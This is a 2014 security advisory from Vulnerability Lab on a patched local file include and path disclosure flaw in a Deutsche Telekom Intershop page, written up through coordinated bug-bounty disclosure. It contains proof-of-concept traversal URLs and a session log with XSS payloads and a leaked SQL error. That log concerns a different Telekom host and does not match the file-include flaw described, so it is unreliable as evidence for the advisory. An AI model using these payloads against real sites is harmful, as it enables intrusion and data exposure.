German Telekom Local File Inclusion

`Document Title:  
===============  
Telekom Bug Bounty #12 - File Include Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1178  
  
  
Release Date:  
=============  
2014-02-27  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1178  
  
  
Common Vulnerability Scoring System:  
====================================  
7.1  
  
  
Product & Service Introduction:  
===============================  
Deutsche Telekom AG (English: German Telecom) is a German telecommunications company headquartered in Bonn, North Rhine-Westphalia, Germany.   
Deutsche Telekom was formed in 1996 as the former state-owned monopoly Deutsche Bundespost was privatized. As of June 2008, the German   
government still holds a 15% stake in company stock directly, and another 17% through the government bank KfW.  
  
(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom & http://www.telekom.com/bug-bounty )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a file include web vulnerability in an official German Telekom website web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-01-01: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)  
2014-01-03: Vendor Notification (Telekom CERT Security Team)  
2014-01-16: Vendor Response/Feedback (Telekom CERT Security Team)  
2014-02-20: Vendor Fix/Patch (Telekom Developer Team)  
2014-02-27: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Deutsche Telekom (German Telecom)  
Product: InterShop - Web Application (Framework) 2014 Q1  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local file/path include and arbitrary file upload vulnerability has been discovered in the official Telekom GT INTERSHOP website web-application.  
The arbitrary file upload issue and file include web vulnerability allows attackers to unauthorized include/request/access or upload own files/ context.  
  
The local file include and arbitrary file upload web vulnerability is located in the vulnerable parameter `filelist` of the file `ViewStaticContent-Start`.   
Remote attackers, if they know the main correct path, can view the source code of any file on the system. The issue has the character of a file include   
but also an arbitrary file upload issue. The security risk of the arbitrary file upload and local file include web vulnerability is estimated as   
high with a cvss (common vulnerability scoring system) count of 7.1(+).  
  
Exploitation of the local file include and arbitrary file upload web vulnerability requires no user interaction or privileged web user account.   
Successful exploitation of the local web vulnerability results in web-application compromise by unauthorized local file include web attacks.  
  
Vulnerable Parameter(s):  
[+] filelist  
  
Affected Module(s):  
[+] ViewStaticContent-Start  
  
  
Proof of Concept (PoC):  
=======================  
The local file include and arbitrary file include web vulnerability can be exploited by remote attackers without user interaction or privileged user account.  
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below.  
  
1) By visiting: https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start  
?filelist=css/default/process/process_apds.css&filetype=js  
2) we will notice the source code of the css file  
3) if we changes the file type from js to css   
4) the link will become:  
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start  
?filelist=css/default/process/process_apds.css&filetype=css  
5) We will notice that the paths of the different files in the css file have been changed from relative paths to absolute paths  
in the frst link the path of the images was similar to this:   
background: url(../../../images/symbols/BG_APDS_tarif_grau.gif) no-repeat;   
After changing the “filetype” parameter from js to css, the path has became:  
background: url(/is-bin/intershop.static/WFS/EKI-PK-Site/EKI-PK/de_DE/images/symbols/BG_APDS_tarif_grau.gif) no-repeat;   
  
we see that the paths changed from relative paths to absolute ones which considered as path disclosure vulnerability  
  
To include a file for example the following image:  
../../../images/symbols/BG_APDS_tarif_grau.gif  
we can change the vulnerable link to be:  
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start?filelist=images/symbols/BG_APDS_tarif_grau.gif&filetype=css  
  
Another way to include the same image is:  
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start  
?filelist=../de_DE/images/symbols/BG_APDS_tarif_grau.gif&filetype=css  
  
In this link we go back one folder and then we go inside the folder again. The folder name is "de_DE" which we got from the path disclosure vulnerability  
  
  
--- PoC Session Logs ---  
  
//The Send request  
POST /englishtest2004/test.asp   
HTTP/1.1  
Host: gt.telekom.de  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: https://gt.telekom.de/englishtest2004/html/intro_11.htm  
Cookie:   
_ga=GA1.2.1524944686.1388633141; ASPSESSIONIDQAQRBTRB=PJJNFNFCCPEDGGLMFOGEGNGK  
Connection:   
keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length:   
482  
response=%2Fenglishtest2004%2Fhtml%2Fstarttest.htm&to=hans-juergen.grunwald%40telekom.de&from=  
&subject=Fokus_Sprachen_%26_Seminare-Login&smtphost=localhost&mailbody='&NAME=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&VORNAME=  
%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&PLZ=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&EMAIL=%22%3E%3Cimg+src%3Dx+  
onerror%3Dalert%281%29%3E&TELEFON=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ORT=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E  
  
//Response  
HTTP/1.1 500 Internal Server Error  
Date: Thu, 02 Jan 2014 03:49:47 GMT  
Server: Microsoft-IIS/6.0  
X-UA-Compatible: IE=EmulateIE7  
X-Powered-By: ASP.NET  
Content-Length: 572  
Content-Type: text/html  
Cache-control: private  
insert into Sprachtest(Name, Vorname,PersNr,Telefon,Fax, Ergebnis)VALUES   
('"><img src=x onerror=alert(1)>','"><img src=x onerror=alert(1)>','','"><img src=x onerror ',' ',''');   
<font face="Arial" size=2>  
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>  
error '80040e14'</font>  
<p>  
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Kein   
schließendes Anführungszeichen nach der Zeichenfolge '');'.</font>  
<p>  
<font face="Arial" size=2>  
/englishtest2004/test.asp</font><font face="Arial" size=2>, line 23</font>   
  
  
Picture(s):  
../1.png  
../2.png  
../3.png  
  
Resource(s):  
../poc-session-results.txt  
  
  
Solution - Fix & Patch:  
=======================  
The local file include web vulnerability can be patched by a secure filter restriction and encode to parse the vulnerable filelist parameter.  
Ensure the back request of the filetype to the css is secure and make a proof to validate.  
  
2014-02-20: Vendor Fix/Patch (Telekom Developer Team)  
  
  
  
Security Risk:  
==============  
The security risk of the local file include web vulnerability is estimated as high(+).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.  
  
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]  
  
--   
VULNERABILITY LABORATORY ADMINISTRATION  
DOMAIN: www.vulnerability-lab.com  
CONTACT: [email protected]  
PHONE: +4915776363337 (DE)  
  
`